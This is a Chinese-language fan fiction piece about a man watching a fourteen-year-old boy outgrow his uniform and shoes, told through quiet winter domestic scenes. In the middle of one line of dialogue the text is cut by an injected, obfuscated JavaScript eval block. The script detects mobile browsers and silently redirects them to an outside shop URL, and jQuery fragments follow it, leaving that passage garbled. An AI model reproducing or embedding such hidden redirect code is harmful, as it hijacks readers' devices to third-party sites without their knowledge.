第六年东京也下雪了，甚尔十四岁。
过完年下的雪，夜里下的，早上起来车顶覆了薄薄一层，孔时雨出门用手套抹了一把，露出底下的黑漆，就又跟原来一样，干净了。街上的雪到中午也没了，只有背阴的墙根留一条，灰白的缩在那，谁也不打扰。
——
一月底，学校发单子，换季订购。B5的纸，字印得很密，初中部冬服，价钱一栏一栏列着，尺码那栏空着让家长填。孔捏着单子看了两遍。
“多大？”
“不知道。”
还是去了那家店。商店街中段，玻璃门上贴着褪色的学校名录，一开门暖气混着新布料的味道压过来。店里没别的客人，靠墙一排制服挂得笔直，袖口用别针别着码数的小牌。老店员还在，围裙还是原样，深蓝的，口袋插一支软尺一支笔。看见他们进来，先看了甚尔一眼，从上看到下，什么都没问，转身进货架里头去了，抽了两套出来，搭在臂弯上掂了掂，换了一套更大的。
甚尔进试衣间。里头衣架叮叮当当的声音。老店员从柜台底下翻那本纸边卷毛的记录册，翻到那页，看一眼，又抬眼看看试衣间的门帘，笑了。
“说了会长吧。”
那年买大一号，孔说太大了，老店员说会长的，一年蹿十厘米。后来袖口短了，露出腕子。再后来是这一回。
帘子拉开。甚尔穿着大两号的新制服站在镜子前面，袖口正好，肩线正好，领钩扣到顶。孔站在他侧后方，从镜子里看了一眼。
不对。
他低头的角度不对了。以前看这小子，下巴要压下来，看的是头顶的发旋。现在只用眼睛往下扫一点，看见的是眉骨。镜子里那个人的头顶，到他下巴了。镜子外面天天看，怎么样没看出来。镜子里隔了一层，倒看出来了。
“就这个。”孔说。
老店员蹲下去量裤长，软尺贴着裤线拉直，捏着尾端看清刻度，报了个数，自己“嗯”了一声，在册子上记录。笔走得平缓，一边记一边念，念到身长那栏停了停，抬头又看一眼甚尔，像核对什么，把数字记上了。合上册子的时候拿手压了压纸边。
“下回再来应该就不用总换了。”老店员说。“这个岁数，长到头就停。”
孔付了钱，老店员找零，剩几个硬币在柜台玻璃上排成一小排，一枚一枚数着推过来。甚尔拎着袋子。出门的时候门上铃铛响了一声，冷空气从领口灌进来。
厚牛皮纸的袋子，提手是两根粗棉绳，卡在指关节上晃来晃去。十四岁的指节已经有了骨感，不再是小孩子那种肉乎乎的样。孔落后半步走在后面，看着那只拎着袋子的手。商店街的广播里放着新年的童声歌谣，伴着油炸可乐饼的香气，在冷空气里传得很远。甚尔没回头，脚步迈得比以前大，孔得稍微加快点频率才能不被拉开。
——
玄关。两双鞋摆在一起。
孔弯腰穿鞋的时候看见的。他的皮鞋，甚尔的运动鞋，鞋尖齐平，一条线。他直起腰又看了一眼。后跟也是齐的。
没记得什么时候追平的。上个月？上上个月？运动鞋是秋天买的，买的时候大半码，鞋头空一截，甚尔说塞点纸就行，孔说塞什么纸，穿着穿着就满了。
满了。
——
土锅在柜顶上，吊柜最上面那层，平时不动，炖东西才拿。
以前这是孔的活。他踮都不用踮，抬手就够。那天他洗着菜说了句锅，水还没关，身后凳子都没响，甚尔抬手把土锅端下来了，放在灶台边，转身回去接着看电视。
孔关了水，看着那口锅。锅是那口锅。柜子也没矮。
后来米缸也成了这回事。大米一袋十公斤，以前吃一个月，现在半个多月见底。上周孔站在米缸前面，盖子掀着，愣了两秒，第一反应是家里进了贼。职业病，脑子先过了一遍门窗。门窗都好好的。
贼没有。就一个初中生，一天两顿，顿顿两碗起。阿一西，哪个贼偷东西偷大米。
孔把米缸盖上，往购物清单上添了一行。写完看了看，把“十公斤”划了，改成二十。
——
周四，电话打过来。
是傍晚，孔在阳台抽烟。天暗得早，五点半就是夜里的颜色。对面楼一扇窗一扇窗亮起来。谁家在煎鱼，油烟味顺着风过来，混着雪要来没来的那股土腥气。楼下有人收自行车，链子锁哗啦一声。
屋里座机响了。
他夹着烟进去，穿过客厅，拿起听筒。
“喂。”
“今天晚点回。”
一个男声。低音沉在喉咙底下。孔的嘴比脑子快——
“哪位。”
那头静了半秒。
“……我。”
对上了。孔握着听筒站在那，烟灰长了一截，手边没处弹。
“部里的事，八点前到家。”那个声音接着说。语速是甚尔的，字数是甚尔的，报事的顺序也是甚尔的，调门不是。原先那个调门什么时候没的，孔说不上来。反正不是今天没的。今天只是隔着一根电话线。
“嗯。”孔说。“知道了，八点。”
电话挂了。听筒放回去，咔哒一声。烟灰到底掉在地板上，灰白的一小截。孔站在原地把那根烟抽完了，抽完才去阳台拿了扫帚，把那截灰扫进簸箕。
七点半他把火拧开，一个人的动静在厨房响了一阵。八点差十分，楼道里脚步声上来，钥匙响一声，门开了，冷气先进来，然后是人，拎着书包，肩上星星点点没化的雪。玄关脱掉鞋，鞋尖朝外摆正，书包搁在老地方。
“回来了。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717963|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回来了。”
话从眼前这个人嘴里说出来，又对上了。低是低的，是他。孔看了他一眼，转身回厨房，把汤上的盖子掀了。
——
饭桌是矮脚的方桌，原先两个人对面坐着，中间还能空出大半截。今天甚尔坐下来的时候，两条长腿有些无处安放地朝前伸着，膝盖险些顶到孔的。孔没动，把盛得冒尖的白米饭递过去。甚尔接了，没说谢谢，低头就扒了一大口。
孔吃得有些心不在焉。他看着对面那张脸，侧脸的线条比去年硬实了许多，下颌骨有了清晰的棱角，咽东西的时候喉结跟着上下滑。
“见着鬼了吗今天？”孔问。
“今天不找鬼。”甚尔把饭咽下去，“看纪录片。”
孔没抬眼，听着那声音。“好看吗？”
“一般。”
甚尔把最后一口饭咽下去，把空碗往孔面前推了推，意思很明显。孔接过碗，起身去电饭锅，舀饭的时候觉得手里的木铲沉甸甸的。
——
周六下午又下雪。
这场比上场要大些。从超市回来，两个人并排走，孔拎一个袋子，甚尔拎一个。雪下得不紧不慢，路灯提前亮了，光柱里能数清雪片，雪片落在羽绒服肩上，攒一层，抖一下就没。
甚尔走在他右边。孔用不着侧头，眼角就是他的头顶。这个高度搁两年前，他眼角里应该是空的，要看得往下找。现在不用找了，就在那。
路上没什么人。一辆自行车压着雪碾过去，留一道黑线，慢慢又被填上。自动贩卖机立在街角，灯箱在雪里白得发蓝。谁家二楼窗户闪着电视的光，一阵一阵的。人行道的雪踩上去还是新的，一步一声，闷闷的。
便利店门口的旗子湿了半面，贴在杆上。
走过第二个路口，甚尔慢了半步。
孔以为他看什么。橱窗，或者猫。都没有。矮墙上的雪攒了一下午，蓬蓬的一条，齐齐整整。那家伙弯腰，从矮墙上抓了把雪，两只手拢了拢，拢瓷实了。
雪球砸在孔肩膀上，不重，散开了，一半钻进领子。
孔站住，转头。
甚尔拎着袋子站在两步外，手上还沾着雪，看着他，脸上什么都没有。雪落在他头发上，黑头发，白点子，也不掸。
“……你他妈十四了。”
“嗯。”
接着走。孔拍了拍领子，雪化在脖子上，一道凉顺着往下爬了一段才停。他瞥了一眼旁边这个人。那一下有准头，收着力气，落点挑在肩膀不挑脑袋。挑了他拎袋子腾不出手的那一边。
雪还在下。到家门口，孔把袋子换到左手，摸出打火机，没风，一下就着，雪片在烟纸上落出一点湿痕。他回头看了一眼来路。两串脚印，差不多深。
雪落在脚印里，暂时没化。